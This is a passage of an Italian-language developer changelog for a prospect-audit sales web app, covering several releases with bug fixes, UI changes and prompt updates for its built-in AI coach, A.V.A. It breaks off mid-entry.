dry_run=true di default per evitare consumo crediti accidentale: ritorna results[] con {id,name,old,new,status} in cui status puo' essere would_update/updated/still_generic/skip_no_place_id/api_error_*/exception:*. Limit hard 1-500 (default 50). track_ext_api su google_places per metriche. Constante _GENERIC_CATEGORIES mirror di quella FE (set Python, lowercase compare). (3) A.V.A. prompt anti-categoria-generica: ai_personas.py::_AVA_SYSTEM aggiunta sezione "CATEGORIA GOOGLE: ATTENZIONE alle generiche" prima di "DATI MANCANTI". Istruzioni: non costruire ragionamenti specifici se categoria salvata e' generica, dedurre settore reale dal business.name (es. "Pedagogista Parma - Dott.ssa X" → ragiona da pedagogista), non far lezione al cliente su categoria potenzialmente sbagliata lato nostro salvataggio. (4) Sottotitolo A.V.A. nel logo: sih-topbar.js renderHeader aggiunge <div class="sih-topbar-sub"> sotto il <h1> del titolo con icona lampadina SVG inline + testo "Potenziato da A.V.A. · Assistente Virtuale Agenti". CSS .sih-topbar-sub font 11.5px, opacity .78, colore bianco. Zero modifiche BE schema/migration. Costo retroactive enrichment: ~1 credito Google Places per prospect candidato, da decidere caso per caso via dry_run.

• v2.26.0: fix definitivo categoria + sottotitolo A.V.A. FE: sih-category-it.js +GENERIC_CATEGORIES +isGeneric exposed; page-02-visibilita-locale.js nuova vl_resolveCategoryFreshIfGeneric(biz) async + vl_saveProspectToDB wrap in Promise (~40 righe); sih-topbar.js +.sih-topbar-sub CSS + render sottotitolo (~12 righe). BE: routers/admin.py +_GENERIC_CATEGORIES set +_is_generic_category +admin_prospects_categories_stats GET +admin_enrich_categories POST con dry-run (~140 righe). ai_personas.py::_AVA_SYSTEM sezione CATEGORIA GOOGLE (~20 righe). Zero schema/migration/test.

2026-05-21 — v2.25.2 Hotfix A.V.A. ghost prospect su riapertura

Segnalato da Giuseppe pochi minuti dopo v2.25.1: cliccando A.V.A. su un prospect riaperto dallo Storico (specie in admin-view), la risposta riguardava il prospect precedente, non quello mostrato a video. Root cause: sih-ava.js::_buildDataForStep leggeva localStorage.sih_proposal_data direttamente. In admin-view la regola e' "non sporcare la sessione personale dell'admin": sih-admin-view.js::bootstrapProspect popola proposalData in-memory ma NON aggiorna localStorage. Risultato: la pagina mostra il prospect altrui (corretto), ma localStorage ha ancora quello personale dell'admin → A.V.A. lo legge e spiega quello. Stesso pattern noto della saga maggio v2.21.3-v2.21.7. Fix: _buildDataForStep ora prova prima window.proposalData (variabile di pagina, sempre allineata col rendering), fallback a localStorage solo se vuota. In page-03/04/05 proposalData e' gia' su window grazie a var top-level; in page-06 era let (block-scoped, non finiva su window) — aggiunto Object.defineProperty(window, 'proposalData', {get}) subito dopo la declaration cosi' anche page-06 espone proposalData uniformemente. Fix scoped solo ad A.V.A.; altre funzioni che leggono localStorage.sih_proposal_data direttamente (es. buildPrintSummary, score calc) restano col vecchio comportamento — debito tecnico saga maggio, non in scope qui. Zero modifiche BE/schema/test.

• v2.25.2: hotfix A.V.A. ghost. FE: sih-ava.js::_buildDataForStep ora preferisce window.proposalData a localStorage (~10 righe nuove). page-06-diagnosi-proposta.js +Object.defineProperty(window, 'proposalData', {get}) subito dopo let proposalData = null (~8 righe). Zero altre modifiche.

2026-05-21 — v2.25.1 Hotfix A.V.A. — distingue dati core da analisi non eseguite

Hotfix prompt segnalato da Giuseppe: A.V.A. su step 2 senza scan LF produceva una risposta drammatica ('i dati non sono arrivati, il nome non e\\' valorizzato') anche se business.name/address/rating/reviews erano popolati. Root cause: il modello prendeva la regola 'se manca un dato dillo onestamente' troppo letteralmente e generalizzava la mancanza dell'analisi step-specifica (scan=null) a mancanza di tutti i dati. Fix prompt: ai_personas.py::_AVA_SYSTEM riscritta la sezione 'DATI MANCANTI — GESTIONE CORRETTA'. Distinzione esplicita tra (a) dati core (business.*: sempre da scheda Google, ci sono SEMPRE per un prospect valido), (b) analisi step-specifiche (scan, seo, social, competitorIntel, sentimentAnalysis: possono mancare se l'agente non ha lanciato l'analisi). REGOLA D'ORO: se business.name non vuoto, A.V.A. ha dati su cui lavorare. Aggiunto esempio CORRETTO ('Ciao Giuseppe. Su Gescom abbiamo gia' qualche elemento dalla scheda Google: rating 4.2 con 120 recensioni... Quello che mi manca per darti il quadro completo della visibilita' locale e' lo scan della mappa: vai sul pulsante "Avvia scansione"...') e esempio SBAGLIATO con commento '<- QUESTO E\\' SBAGLIATO se i dati core ci sono'. Fix user_template: nuova funzione _ava_data_status(data) che costruisce un riepilogo schematico delle sezioni (business.*: 'Gescom' / 'VUOTO' | scan: 'POPOLATO' / 'NON ANCORA ESEGUITO' | ...) iniettato in cima al user prompt PRIMA del JSON dati completo. Il modello vede subito quali sezioni sono presenti senza dover interpretare il JSON. Footer del prompt aggiunge 'REGOLA: se i campi business.* sono popolati hai SEMPRE dati da raccontare. Se scan/seo/social sono NON ANCORA ESEGUITO significa che l'agente non ha ancora lanciato quell'analisi'. Zero modifiche frontend/BE schema/test/migration.

• v2.25.1: hotfix prompt A.V.A. BE: ai_personas.py::_AVA_SYSTEM riscritta sezione 'DATI MANCANTI' con regola d'oro + esempio CORRETTO/SBAGLIATO (~40 righe); nuova funzione _ava_data_status(data) costruisce riepilogo schematico stato campi (~30 righe); _ava_user_template ora include status + regola esplicita prima del JSON completo. Zero altre modifiche.

2026-05-21 — v2.25.0 A.V.A. evoluta + hotfix prospect fantasma cross-step

Sessione iterazione AVA + bug Giuseppe. (1) Bug prospect fantasma: segnalato in conversazione. Aprendo prospect da dashboard (routing v2.22.0 verso step 6 #199) e navigando alla flowbar a step 3, l'agente vedeva dati del prospect precedente. Root cause: il fix #199 attivava il fetch URL solo se localStorage era VUOTO. Per mismatch URL.prospectId vs localStorage.sih_prospect_id (caso comune con un prospect cached da sessione precedente) il fetch non scattava → step 3/4/5/6 leggevano il vecchio prospect. Step 2 era gia' protetto da vl_loadFromUrlParam v2.20.4 che fetcha sempre. Fix: nuovo helper condiviso sih-prospect-guard.js (~90 righe) espone window.SIH.prospectGuard() async. Logica: legge ?prospectId=N URL, confronta con localStorage.sih_prospect_id; se match → no-op; se mismatch o localStorage vuoto → cancella batch chiavi prospect-specific (sih_proposal_data, sih_scan_business, sih_audit_results, sih_prospect_selected, sih_selected_products, sih_selected_tier_name, sih_ai_sentiment_* prefix wildcard), fetcha /api/prospects/N, popola sih_prospect_id + sih_proposal_data minimale (business + prospect_id). Le init delle pagine page-03 / page-04 / page-05 / page-06 ora sono async e chiamano await window.SIH.prospectGuard() come prima cosa, poi proseguono leggendo localStorage normalmente. sih-prospect-guard.js caricato in 4 HTML PRIMA di sih-ava.js. Step 2 non modificato (vl_loadFromUrlParam esistente faceva gia' la stessa cosa). (2) A.V.A. nome esteso: label persona da 'AVA' a 'A.V.A. — Assistente Virtuale Agenti'. System prompt aggiornato per istruire il modello a scrivere 'A.V.A.' con i puntini quando si presenta. UI sih-ava.js: header card mostra 'A.V.A. — il tuo coach AI (Assistente Virtuale Agenti)'; bottone 'Chiedi ad A.V.A. di spiegartelo'; loading 'A.V.A. sta riflettendo...'. CSS aggiunta .sih-ava-name-sub (font 10.5px, viola, lowercase, margin-left:6px) che diventa block su mobile. (3) A.V.A. lunghezza libera: rimosso vincolo '180-280 parole' dal prompt sistema, sostituito con 'lunghezza libera (segue la sostanza dei dati)'. max_tokens da 900 a 2500 per permettere risposte estese fino a ~700-800 parole italiane. (4) A.V.A. integra brief consulenti: prima della chiamata /api/ai/interpret, sih-ava.js::ask() fetcha /api/ai/briefs-for-prospect?prospect_id=N (endpoint esistente v2.21.8) e include il risultato nel data.cached_briefs del payload. System prompt di ava_coach esteso con regole 'USA I BRIEF DEI CONSULENTI' e 'QUANDO MANCANO DATI O BRIEF UTILI' che istruisce A.V.A. a (a) leggere e citare cached_briefs se rilevanti, (b) suggerire all'agente di consultare prima il consulente verticale corrispondente se manca per lo step corrente. Mappatura step → consulenti aggiunta nel prompt (step 2 = Consulente GBP, step 3 = Consulente SEO Senior, step 4 = Social Analyst/Stratega Social/Reputation Manager, step 5 = Analista Competitor, step 6 = Direttore Commerciale/Gestione Obiezioni). UI: footer della risposta ora mostra 'ho letto N pareri dei consulenti' se cached_briefs popolato. Zero modifiche BE schema/test/migration.

• v2.25.0: hotfix prospect-guard + A.V.A. iterazione. FE: nuovo sih-prospect-guard.js (~90 righe ES5: IIFE singleton, _clearProspectKeys con prefix wildcard, prospectGuard async, expose window.SIH.prospectGuard). 4 init pagine convertite a async + chiamata guard prima del lettura localStorage (page-03/04/05/06). Include in 4 HTML PRIMA di sih-ava.js. sih-ava.js label/loading aggiornati con A.V.A. + cached_briefs fetch pre-chiamata + footer con conteggio brief letti + CSS .sih-ava-name-sub. BE: ai_personas.py::AVA_COACH label esteso, max_tokens 900→2500, system prompt esteso con regole brief + step→consulenti mapping + lunghezza libera, user_template +briefs_hint contestuale. deploy_fastapi.py +'sih-prospect-guard.js'. Zero schema/migration/test.

2026-05-21 — v2.24.0 Popup release-highlights post-reload

Feature richiesta da Giuseppe in conversazione subito dopo AVA: dopo ogni aggiornamento, gli agenti vedevano il banner "Ricarica disponibile" ma non sapevano cosa stesse cambiando, ricaricavano controvoglia. Soluzione: popup non-blocking (toast in alto a destra) che mostra 1-3 release highlight tra localStorage.sih_last_seen_version e window.SIH_VERSION. Architettura: manifest in file separato sih-release-highlights.json (editabile senza ridistribuire JS, fetchato con cache-buster ?v=<version>), entry semver con flag userVisible + title + description + tag (feature/fix/ux) + step opzionale. Hotfix puri e fix admin-only restano userVisible:false: tracciati in changelog/docs ma non triggerano il popup. Frontend nuovo file sih-release-popup.js (~250 righe ES5-compat, IIFE singleton). Logica: _cmpSemver(a,b) ritorna -1/0/1; init() al boot legge sih_last_seen_version e current dalla window.SIH_VERSION; se primo accesso (no marker) imposta baseline silente per evitare bombing nuovi agenti; se seen < current fetcha manifest e filtra release nel range (seen, current] con userVisible:true; ordina semver desc, top MAX_HIGHLIGHTS=3, render popup. UI: position:fixed; top:18px; right:18px; z-index:9998; width:380px, header gradient viola + icona lampadina + titolo + X close, body con item card (tag chip colorato + ver + titolo + descrizione), footer con link "Vedi tutte" + bottone "Ho capito". Animazione sihRpSlideIn 350ms cubic-bezier(.16,1,.3,1) all'apertura, sihRpSlideOut 250ms ease-in al close. Close via X / "Ho capito" / nessun timeout auto: agente decide. Skip su pagine login.html, reset-password.html, maintenance.html, changelog.html e quando URL ha ?adminView=1 (admin sta ispezionando altrui). @media print nasconde popup. @media (max-width:640px) full-width responsive. Best-effort error handling: fetch fallito → marca version vista lo stesso per non riprovare. Wiring: include sih-release-popup.js in 16 pagine HTML (index, 01-06 step, smart, racconto, dashboard, user-dashboard, admin, scopri, guida, roadmap, leaderboard) via auto-add post sih-feedback.js o sih-version.js. presentazione.html e docs.html non hanno anchor compatibile, esclusi (non critici: pagine secondarie). Helpers exposed: window.SIH.releasePopup.show() riesegue init manualmente, window.SIH.releasePopup.reset() cancella localStorage per test. Zero modifiche BE/schema/migration/test. Costo: zero chiamate API esterne, solo fetch del manifest JSON (~1KB) una volta per sessione.

• v2.24.0: feature popup release-highlights. FE: nuovo sih-release-popup.js (~250 righe ES5: IIFE, ensureStyles, _cmpSemver, _shouldShowOnThisPage, _renderPopup, init, expose window.SIH.releasePopup); nuovo sih-release-highlights.json manifest (versionato come fonte di verità, 5+ entry pre-popolate per release v2.21.17 / v2.22.0 / v2.22.2 / v2.22.3 / v2.23.0 / v2.24.0). Include in 16 HTML (skip presentazione/docs per anchor mancante, skip changelog by design). deploy_fastapi.py +'sih-release-popup.js' + 'sih-release-highlights.json' nella FILES list. Zero altre modifiche.

2026-05-21 — v2.23.0 AVA — Coach AI conversazionale (Sonnet) in Modalità Completa

Feature richiesta in conversazione da Giuseppe: bottone "Spiegami questi dati" su ogni step della Modalità Completa, AI in italiano colloquiale per onboarding agenti 60+. Decisione di design: modello Sonnet (non Opus) per costo contenuto (~$0.015/chiamata vs ~$0.075 con Opus). Nome: AVA (Assistente Virtuale Agenti). Identità AI chiara, non un nome di persona. Tono: 2a persona singolare, chiama l'agente per nome (`agent_name` da /api/auth/me), 180-280 parole, paragrafi narrativi, niente liste puntate, niente sigle senza traduzione (es. "esce nel 14% della zona" invece di "SoLV 14%"). Backend: nuova persona ava_coach in ai_personas.py (Sonnet, max_tokens=900). Persona unica con 6 varianti contestuali (focus diverso per step) gestite via map _AVA_STEP_FOCUS: step 1=anagrafica (non implementato, no prospect specifico), step 2=visibilità locale, 3=Web/SEO, 4=Social, 5=Competitor, 6=Sintesi. _ava_user_template(data) riceve step+agent_name+business+sezioni rilevanti (filtrate per non sprecare token: step 2 solo scan, step 3 solo seo, ecc.) e costruisce il prompt user; il system prompt definisce regole italiane stringenti (apostrofo tipografico, no anglicismi, no fuffa, frasi <25 parole, accordi genere/numero). Riusa endpoint esistente /api/ai/interpret: AVA è già in whitelist admin-view (regex |ai\/). Cache via AiInterpretation.data_hash 60gg invariato. Frontend: nuovo file condiviso sih-ava.js (~250 righe). IIFE al DOMContentLoaded cerca [data-ava-step="N"] nelle pagine HTML e monta il widget. CSS inline injetto: bordo viola pulsante (animazione sihAvaGlow 2.6s, pattern preso da .biz-card.biz-hot step 1 in versione viola/brand SIH), icona lampadina (SVG inline), header con AVA name+sub+bottone sparkle, body panel che mostra la risposta con _renderText (escape HTML + paragrafi <p>, normalizzazione apostrofo dritto -> tipografico post-processing). Bottone Rigenera sotto il body con force_fresh:true. _buildDataForStep(step) legge localStorage.sih_proposal_data + window.SIH.agent e filtra le sezioni rilevanti per step. @media print nasconde AVA dal PDF. Wiring 5 HTML: aggiunto <div data-ava-step="N"></div> subito sotto biz-context/bizHeader/contextStrip e sopra i consulenti verticali esistenti, in 02-...html, 03-...html, 04-...html, 05-...html, 06-...html. Step 01 saltato (la pagina è lista risultati ricerca, non un prospect specifico). Costo stimato: ~$0.015/chiamata × ~3 step cliccati/audit × ~50 audit/mese × ~5 agenti = ~$11/mese (puramente AI Sonnet, cache 60gg amortizza per prospect riaperti). Zero modifiche BE schema/test/migration: feature additiva pura.

• v2.23.0: feature AVA Coach AI. BE: ai_personas.py +_AVA_STEP_FOCUS (6 step, focus dict) +_AVA_SYSTEM (~70 righe regole italiane strette) +_ava_user_template +AVA_COACH entry (~120 righe). PERSONAS registry +'ava_coach': AVA_COACH. FE: nuovo file sih-ava.js (~250 righe ES5-compat: IIFE, ensureStyles, _buildDataForStep, _renderText, mountOne, mountAll, expose window.SIH.ava). Include in 6 HTML (01..06) via auto-add post sih-feedback.js. Marker <div data-ava-step="N"></div> aggiunto in 02-...html, 03-...html, 04-...html, 05-...html, 06-...html (step 01 saltato). Zero altre modifiche.

2026-05-21 — v2.22.6 Hotfix duplicazione carrello prodotti (#208, regressione v2.22.0)

Ticket #208 (Simona Depretis, sev media): "duplica i servizi quando si aggiorna l'audit. Aggiunge a quelli selezionati quelli presenti nel pacchetto preconfezionato". Root cause: regressione introdotta in v2.22.0 con il save-state della proposta (#201). Flusso bug: (1) loadCatalog().then(...) chiama renderTiers() → selectTier(1) automatico → selectedProducts.clear() + add(tier1.sigli). (2) Subito dopo, async, loadProposalEdits().then(saved => applyProposalEdits(saved)) carica le edit salvate ma NON faceva clear() prima — eseguiva solo data.selectedSiglas.forEach(sig => selectedProducts.add(sig)). (3) Set union tra tier corrente e selezione salvata: prodotti del tier che l'agente aveva deselezionato in sessione precedente rispuntavano. Fix: page-06-diagnosi-proposta.js::applyProposalEdits ora, quando data.selectedSiglas e' un array (anche vuoto), prima fa selectedProducts.clear() + deseleziona tutte le checkbox di #productCatalog, poi applica i sigli salvati sincronizzando contemporaneamente le checkbox prod-<sigla>. La selezione salvata SOSTITUISCE quella di default del tier, non si unisce. Comportamento: se l'agente aveva salvato 4 prodotti (es. A, B, F, G) sul prospect, e il tier1 ne ha 5 (A, B, C, D, E), dopo il fix il carrello mostra esattamente {A, B, F, G}, non piu' {A, B, C, D, E, F, G}. productEdits (qty/price/note/discount) gia' applicava per chiave senza problemi (overwrite naturale). Zero modifiche BE/test/schema/migration.

• v2.22.6: hotfix regressione v2.22.0. FE: page-06-diagnosi-proposta.js::applyProposalEdits +selectedProducts.clear() + deseleziona checkbox #productCatalog prima di apply + sync checkbox prod-<sigla> dopo add (~15 righe nuove). Zero altre modifiche.

2026-05-21 — v2.22.5 Hotfix screenshot ticket pannello admin (#209)

Ticket #209 (Giuseppe admin, sev alta): cliccando uno screenshot allegato a un ticket nel pannello admin si apriva una pagina bianca. Root cause: page-admin.js renderizza lo screenshot come <a href="data:image/...base64..." target="_blank"><img></a>. Dal 2022-2023 i browser principali (Chrome, Edge, Firefox) bloccano la top-level navigation verso URI data: come misura anti-phishing — comportamento standard ormai. L'immagine si carica inline come <img src> (resource subordinata, permessa) ma l'anchor target=_blank navigando alla stessa URL data: → tab vuota. Fix: sostituito <a> con <button data-action="admin-fb-shot-zoom"> che cattura il src dell'img interna e chiama nuova funzione openScreenshotLightbox(src). La lightbox e' un overlay position:fixed; inset:0; z-index:99999 con bg rgba(15,23,42,.88) + backdrop-filter blur; img max-width/max-height:100%; object-fit:contain centrata; pulsante × top-right round bianco semi-trasparente. Tre modi di chiusura: click sul ×, tasto Esc (event handler keydown rimosso al close), click sullo sfondo (ev.target === overlay). Pulizia: rimuove overlay esistente prima di crearne uno nuovo (no duplicati). Funziona sia per data:image/... sia per URL http (i ticket vecchi hanno data URI inline, eventuali futuri URL S3-style sono coperti dalla stessa logica). Zero modifiche BE/test/schema/migration.

• v2.22.5: hotfix admin lightbox. FE: page-admin.js sostituito <a target=_blank> con <button data-action="admin-fb-shot-zoom"> nel rendering shotHtml (~5 righe nuove); nuova funzione openScreenshotLightbox(src) con overlay+keydown Esc+click-out (~50 righe); nuovo case 'admin-fb-shot-zoom' nel delegated click handler (~6 righe). Zero altre modifiche.

2026-05-21 — v2.22.4 Hotfix admin-view fantasma su pagine non-prospect

Segnalato da Giuseppe in conversazione: dopo aver aperto Gescom (Pessina) come admin via ?prospectId=N&adminView=1, lanciando una nuova ricerca su 01-ricerca-prospect.html compariva il banner admin con i dati Gescom ancora attivi. Root cause: il fallback per-tab introdotto nella saga di maggio (v2.21.7 in sih-admin-view.js) scrive marker __sih_admin_view_session con TTL 60s. Il marker veniva letto da QUALSIASI pagina caricata entro i 60s, anche pagine che non c'entrano con la modalita' admin (ricerca, hub, dashboard). Fix: sih-admin-view.js nuova costante ADMIN_VIEW_PAGES (whitelist 7 pagine: 02-...html, 03-...html, 04-...html, 05-...html, 06-...html, racconto.html, smart.html) + helper _currentPageIsProspectStep(). Il blocco di init ora: se URL non ha adminView=1 e la pagina e' in whitelist → legge il marker (comportamento v2.21.7 invariato per i casi legittimi: navigazione interna tra step). Se pagina NON in whitelist → _clearSessionMarker() (rimuove sessionStorage) e procede come sessione personale. Aggiunto helper _clearSessionMarker(). Bonus UX: pulsante "Esci" inserito nel banner admin (margin-left:auto, bg semi-trasparente, font 11.5px). Click handler: clear marker + cleanup 7 chiavi localStorage (sih_proposal_data, sih_scan_business, sih_audit_results, sih_prospect_id, sih_prospect_selected, sih_selected_products, sih_selected_tier_name) + redirect a /index.html. Zero modifiche BE/test/schema/migration. Backward-compat: i casi legittimi del v2.21.7 (navigazione step interna con flag URL perso) continuano a funzionare; solo i casi spuri su pagine non-prospect vengono bloccati.

• v2.22.4: hotfix admin-view bug-fantasma. FE: sih-admin-view.js +ADMIN_VIEW_PAGES + _currentPageIsProspectStep + _clearSessionMarker + branch in init read del marker (~25 righe nuove); bottone "Esci" + handler nel ensureBanner (~25 righe). Zero altre modifiche.

2026-05-21 — v2.22.3 Griglia ranking LF nel PDF audit (#207)

Ticket #207 (Federico Pessina, sev alta): "stampa analisi non e' completa di grafici che sono molto importanti". Diagnosi: _dp_buildFullAuditHtml in page-06-diagnosi-proposta.js:3262 includeva KPI/tabelle/brief AI ma non la griglia di ranking visuale dello step 2 (la mappa 5x5/7x7 colorata renderizzata da vl_renderGrid in page-02-visibilita-locale.js:1664). Opzione (A) approvata da Giuseppe: SVG inline. FE step 2: page-02-visibilita-locale.js in persistProposalData (riga ~2397) ora salva base.scan.dataPoints oltre agli aggregati. Mappa compatta: ogni cella conserva solo {rank} (no coord/coverage) per stare sotto il cap localStorage. Backward-compat: per i prospect analizzati prima di v2.22.3 il campo e' assente e il print salta la griglia (no crash). FE step 6: nuova funzione _dp_renderRankingGridSvg(dataPoints, gridSize) in page-06-diagnosi-proposta.js sopra _dp_buildFullAuditHtml. Genera SVG inline con viewBox calcolato dinamicamente (cell=38px, gap=4px, pad=10px), iterazione gridSize x gridSize con stesso ordine LF (idx = col * gridSize + row, row da bottom a top) per allinearsi alla mappa. Helper _rankInfo mappa rank → colore: 1-3 green #16A34A, 4-10 lime #84CC16, 11-20 amber #F59E0B, >20 red #DC2626, NF/null gray #E5E7EB; label testuale dentro la cella ("NF" se non trovato, numero altrimenti) con font Inter 13px 700. Anello centrale dashed purple #7C3AED su floor(gridSize/2), floor(gridSize/2) per marcare la sede del prospect. Width fluida width:100%; max-width:min(420, viewBoxSize)px: stampa A4 portrait gestisce comodamente. La sezione print (in pagina 3 dello step 2) include header "Copertura mappa", caption esplicativo, SVG, legenda 5 chip colorati. Zero modifiche BE/test/schema/migration.

• v2.22.3: feature stampa #207. FE: page-06-diagnosi-proposta.js +_dp_renderRankingGridSvg (~60 righe SVG inline + helper) + chiamata in _dp_buildFullAuditHtml sotto i KPI scan (~17 righe nuove con legenda); page-02-visibilita-locale.js persist scan.dataPoints compattati (~15 righe). Zero altre modifiche.

2026-05-21 — v2.22.2 Tool debug URL competitor SEO (#203)

Ticket #203 (Tommaso Terenziani): un competitor "sessuologo Mirko Manzella" risultava con 103.5K keyword + 546K traffico stimato. Root cause: il competitor non ha sito proprio, si appoggia a guidapsicologi.it. Il comp.website popolato da Places Details punta al portale, quindi /api/seo/overview?url=... → SEOzoom torna le metriche del DOMINIO del portale aggregato, non del singolo professionista. Approccio (C) approvato: tool debug per visualizzare l'URL usato + permettere all'agente di sostituirlo. FE: page-05-competitor-intelligence.js in loadSeoPillar ora legge override da proposalData.seoUrlOverrides[slotKey] prima di comp.website. renderSeoPillar riceve un dbgFooterHtml (helper _renderSeoDebugFooter) renderizzato sotto le 3 metric row. Il footer mostra: "Sorgente: hostname" (anchor target=_blank), badge "corretto" se override attivo, bottoni Cambia URL / Reset. Dialog inline con input + Applica/Annulla. Helpers _getSeoUrlOverride/_setSeoUrlOverride (persistono in proposalData.seoUrlOverrides + localStorage) + _seoUrlHostname. Handlers delegati su document.addEventListener('click', ...) per data-action="seo-dbg-*" (toggle/apply/cancel/reset). Funzione _reloadSeoForSlot(slot): se slot=='prospect', ricarica anche comp_a/comp_b per ricalcolare i delta; altrimenti solo lo slot specifico. CSS in 05-competitor-intelligence.html: nuove classi .ci-seo-dbg* (~55 righe). Override persiste in proposalData.seoUrlOverrides = localStorage: alla riapertura del prospect le correzioni restano. Zero modifiche BE/test/schema/migration.

• v2.22.2: feature debug tool. FE: page-05-competitor-intelligence.js +_renderSeoDebugFooter/_get|_setSeoUrlOverride/_seoUrlHostname/_reloadSeoForSlot +loadSeoPillar esteso + renderSeoPillar firma con dbgFooter + click handler delegato (~110 righe); 05-competitor-intelligence.html +CSS .ci-seo-dbg* (~55 righe). Nessuna altra modifica.

2026-05-21 — v2.22.1 Microfix: typo "canalei" + traduzione IT top categorie user-dashboard

Due fix banali post-release minor. #204 (Tommaso Terenziani): page-06-diagnosi-proposta.js riga 1064 in _dp_socialDetailText il pattern di pluralizzazione era 'canale' + (active === 1 ? '' : 'i') → per active>1 produceva "canalei". Fix: cambio base da 'canale' a 'canal' e suffix esplicito 'e'/'i'. #205 (Tommaso Guzzo): page-user-dashboard.js riga ~876 il render del widget Top categorie usava esc(c.value) direttamente sui valori Google Places API (es. hair_salon, restaurant) — il file sih-category-it.js con la mappa di traduzione (già usato in dashboard.html e 06-diagnosi-proposta.html) era caricato in user-dashboard.html riga 17 ma mai invocato. Fix: window.SIH.CATEGORY_IT.label(c.value) con fallback al valore raw se il modulo non e' pronto. La mappa copre oltre 200 categorie Google Places. Zero modifiche BE/test/schema/migration.

• v2.22.1: microfix 2 ticket. FE: page-06-diagnosi-proposta.js riga 1064 (~3 righe incl. commento); page-user-dashboard.js riga ~876 (~7 righe). Nessuna altra modifica.

2026-05-21 — v2.22.0 Minor batch: save state proposta + sconto per voce + routing Completa→step 6

Tre ticket non-admin processati in una release minor. #201 (Tommaso Terenziani) + #197 (Tommaso Guzzo) accoppiati per condivisione di infrastruttura. BE: due endpoint nuovi in routers/prospects.py. GET /api/prospects/{pid}/proposal-edits ritorna l'ultima Proposal draft (filter prospect_id+agent_id, admin bypassa agent filter), parsa products come JSON e ritorna {saved, data, savedAt}. PUT /api/prospects/{pid}/proposal-edits ownership-only (admin read-only, niente bypass write): valida payload (tierIdx, selectedSiglas[], extraSiglas[], edits{sigla:{qty,price,note,discount,discountType}}), aggiunge version:1 + savedAt ISO8601, cap 64KB sul JSON encoded, upsert in Proposal.products. Schema documentato inline a routers/prospects.py riga ~595. Proposal riusato tale-quale (colonna products: Text esistente da T1 refactor); nessuna migration. FE (#197 sconto): page-06-diagnosi-proposta.js in getEditedAnnualPrice aggiunge campo discount/discountType all'edit, calcola unitNet = unit - getEditDiscountUnit(), ritorna anche totalAnnualGross e discountUnit. updateInvestment mostra chip verde "-N%" o "-€X" accanto al nome se sconto attivo. buildPrintSummary tabella prodotti rifatta con 6 colonne (Sigla/Prodotto/Listino/Sconto/Importo/Motivazione): listino col line-through se scontato, sconto in verde, totale finale, riga sconto totale applicato sotto. renderFullcatRow aggiunge .fullcat-row-discount con input number + select %/€ con handlers fullcat-discount-set+fullcat-discount-type-set che invocano scheduleProposalEditsSave(). CSS in 06-diagnosi-proposta.html: nuove classi .fullcat-row-discount (verde quando active), label uppercase "Sconto", input 50px, select compatto. FE (#201 save state): nuove funzioni scheduleProposalEditsSave (debounce 1500ms), saveProposalEditsNow, loadProposalEdits, applyProposalEdits. Flags _peSuppressSave (durante bootstrap) e _peLoaded (guard prima del primo load). Bootstrap nel loadCatalog().then(...) chiama loadProposalEdits e applica il saved snapshot. Wire scheduleSave su tutti gli handler che modificano productEdits: qty inc/dec/set, price set, note set, row-check, discount-set, discount-type-set. FE (#199 routing): page-user-dashboard.js::routeForProspect e page-dashboard.js::_routeForProspect: per source=='complete', se completeness.done[] (user dashboard) o steps_completed[] (admin dashboard) contiene almeno uno step >=2 di audit, routing diventa /06-diagnosi-proposta.html?prospectId=N. page-06-diagnosi-proposta.js::init: dopo fallthrough localStorage vuoto, prima di emptyState, se URL ha ?prospectId=N, fetch /api/prospects/N + ricostruisce proposalData minimale (business + prospect_id), poi tryLoad() normale. Pattern allineato a v2.20.4 (vl_loadFromUrlParam). _dp_renderEmptyDebug estratto come funzione separata per riuso fallback. Zero modifiche schema/migration/test. La tabella proposals esistente non aveva endpoint API attivi: i nuovi GET/PUT sono il primo consumer.

• v2.22.0: minor batch 3 ticket. BE: routers/prospects.py +prospect_proposal_edits_get +prospect_proposal_edits_put +_proposal_edits_validate +_PROPOSAL_EDITS_MAX_BYTES (~115 righe incl. commento schema). FE: page-06-diagnosi-proposta.js ~250 righe nuove (autosave/load/apply + getEditDiscountUnit + getEditedAnnualPrice esteso + updateInvestment chip + buildPrintSummary tabella 6 colonne + bootstrap URL prospectId); page-user-dashboard.js +routeForProspect branch hasAnalysis (~10 righe); page-dashboard.js +_routeForProspect branch hasAnalysis (~10 righe); 06-diagnosi-proposta.html +CSS .fullcat-row-discount* (~40 righe). Zero schema/migration/test. Tabella proposals riusata (campo products: Text JSON).

2026-05-21 — v2.21.17 Batch ticket: PDF Racconto, back-nav, qty mensile, UX scan LF

Batch di 4 ticket processati. #198 (admin Giuseppe): la sezione listino della Modalità Racconto (#rcListinoPage) finiva nel PDF stampato. Fix CSS in sih-racconto.css blocco @media print al primo punto, regola #rcListinoPage { display: none !important; }; rimosse le regole figlie ridondanti (col-check, is-unchecked, tier-radios, listino-actions/add/empty, extra-badge/remove) ora tutte coperte dalla regola padre. #200 (Simona Depretis): la flowbar e i link inter-step in-content (es. 06-diagnosi-proposta.html riga 1323 <a href="05-competitor-intelligence.html">) erano nudi senza ?prospectId=; cliccando "Indietro" l'utente atterrava su empty state. Fix in sih-flowbar.js: _adminViewSuffix() rinominato _prospectQuerySuffix() e propaga sempre prospectId se presente nell'URL (non solo per adminView). Aggiunto IIFE _patchInContentStepLinks che al DOMContentLoaded riscrive gli <a> con href matching /^0[1-6]-[a-z0-9-]+\.html$/ appendendo il query suffix, skipping link già nella flowbar e link con query/hash. #202 (Ernesto Gabriele): getEditedAnnualPrice() in page-06-diagnosi-proposta.js calcolava annual = unit * 12 per validity==mensile e poi totalAnnual = annual * qty, sovramoltiplicando (es. SIADVLG 250€/mese, qty=3 dava 9000€ invece di 750€). Fix opzione C (approvata): per validity==mensile, totalAnnual = unit * qty con qty=mesi, label "(N mesi)", aria-label/title input qty diventa "Numero di mesi", added CSS hint chip "MESI" accanto al numero in 06-diagnosi-proposta.html .fullcat-row-qty[data-unit="mesi"]. Renewal calc per mensile: canone annuale standard price_renewal*12 indipendente da qty (conservativo: l'anno 2 si rinnova full 12 mesi). Il campo ap.annual resta il canone annualizzato per gli altri consumer. getAnnualPrice() (versione non-edit, qty=1 implicit) non modificata. #196 (Tommaso Guzzo): scan LF percepito come "bloccato a 95%". Diagnosi: non si blocca, ma fake progress finisce in ~90s e polling reale puo' continuare per ~5min con barra ferma al 95% e testo "Quasi pronto..." → UX confusion. Fix non-distruttivo: testo ultima fase cambiato in "Attendo risposta finale di Local Falcon — può richiedere fino a 5 minuti..."; nuovo vl_showLateScanPrompt() appende un banner nella progress card al raggiungimento del 95% con bottone 